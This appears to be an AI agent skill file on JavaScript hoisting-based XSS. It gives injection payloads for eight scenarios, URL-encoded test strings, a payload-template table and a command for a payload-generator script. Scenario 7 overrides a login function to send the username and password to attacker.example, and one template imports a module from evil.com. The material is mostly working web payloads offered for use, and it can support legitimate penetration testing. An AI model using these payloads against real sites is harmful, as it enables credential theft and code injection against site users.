| name | javascript-hoisting-xss |
| description | JavaScript hoisting-based XSS attack techniques. Use this skill whenever the user is testing for XSS vulnerabilities, JavaScript injection, RXSS (Reflected XSS), or any scenario where they need to exploit JavaScript hoisting to bypass errors, inject code before declarations, or manipulate execution order. Trigger on mentions of hoisting, ReferenceError bypass, TypeError bypass, JS injection, or when analyzing JavaScript code for injection points. |
JavaScript Hoisting XSS Attacks
This skill covers exploiting JavaScript hoisting mechanisms to execute arbitrary code in XSS scenarios, particularly when injection points occur after undeclared identifiers are used.
Understanding Hoisting in XSS Contexts
JavaScript hoisting moves declarations to the top of their scope before execution. In XSS scenarios, you can inject declarations that "fix" syntax errors, allowing your payload to execute.
Key Principle
If you can inject JavaScript after an undeclared object/function is used, you can:
- Declare the missing identifier in your injection
- Fix the syntax error that would otherwise stop execution
- Execute your malicious code before the error occurs
Hoisting Types
| Type | Behavior | Keywords |
|---|
| Value Hoisting | Use variable value before declaration | Function declarations |
| Declaration Hoisting | Reference variable before declaration (value = undefined) | var |
| Lexical Hoisting | Declaration side effects occur before evaluation | let, const, class |
| Import Hoisting | Both type 1 and 4 behaviors | import statements |
Attack Scenarios
Scenario 1: Fixing Undefined Function Calls
When a function is called but not defined, inject the function declaration:
vulnerableFunction('test', '<INJECTION>');
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
// Payload 2: Alternative syntax
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
Scenario 2: Fixing Undefined Variables
When a variable is used but not declared:
function myFunction(a,b){ return 1 };
myFunction(a, '<INJECTION>');
test'); var a = 1; alert(1);
Scenario 3: Class Declaration Workaround
Classes cannot be declared after use, but functions can:
var variable = new unexploitableClass();
<INJECTION>
function unexploitableClass() {
return 1;
}
alert(1);
Scenario 4: Undeclared Object Method Access
x.y(1,INJECTION)
alert(1));function x(){}
Scenario 5: Nested Undeclared Methods
x.y.z(1,INJECTION)
");import {x} from "https:
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
Scenario 6: Bypassing Try-Catch Exception Handling
When sinks are wrapped in try-catch, ReferenceError stops execution. Hoist the identifier to survive:
x.y(1,INJECT)
prompt()) ; function x(){}
Scenario 7: Preempting Later Declarations (RXSS)
Lock a name with const before legitimate code declares it:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
function DoLogin(){ }
Important: If injecting via eval(), const/let are block-scoped. Inject a new <script> element for true global bindings.
Scenario 8: Dynamic Import with User-Controlled Specifiers
Server-side rendered apps may forward input into import(). With loaders like import-in-the-middle, hoisted imports execute before subsequent lines:
import('${userInput}');
Payload Generation
Use the bundled script to generate hoisting payloads:
python scripts/generate_hoisting_payloads.py --scenario <type> --payload <code>
See scripts/generate_hoisting_payloads.py for available scenarios and options.
Detection and Testing
Manual Testing Checklist
- Identify injection points in JavaScript context
- Check for undefined identifiers used before the injection point
- Test function hoisting:
')%3bfunction+name(){return+1}%3balert(1)
- Test variable hoisting:
')%3bvar+name+%3d+1%3balert(1)
- Test try-catch bypass:
alert(1));function+x(){}//
- Test const preemption:
const+name+=+()=%3E{alert(1)}//
Automated Tools
- KNOXSS v3.6.5+: Includes "JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting" and "Hoisting Override" test cases
- Run against RXSS contexts that throw
ReferenceError/TypeError
Common Patterns
| Pattern | Payload Template |
|---|
| Function hoist | ')%3bfunction+name(a,b){return+1}%3b<CODE> |
| Variable hoist | ')%3bvar+name+%3d+1%3b<CODE> |
| Try-catch bypass | <CODE>);function+name(){}// |
| Const preemption | const+name+=+()=%3E{<CODE>}// |
| Import hoist | "%3bimport+%7Bname%7D+from+"https://evil.com/m.js"// |
Limitations
- Properties are not hoisted:
test.cookie("leo", "INJECTION") cannot be fixed if injection is after the code
- Syntax errors must be fixable: The script must parse successfully after injection
- Scope matters: Hoisting only works within the same scope
- Execution order: Your code must execute before the error occurs
References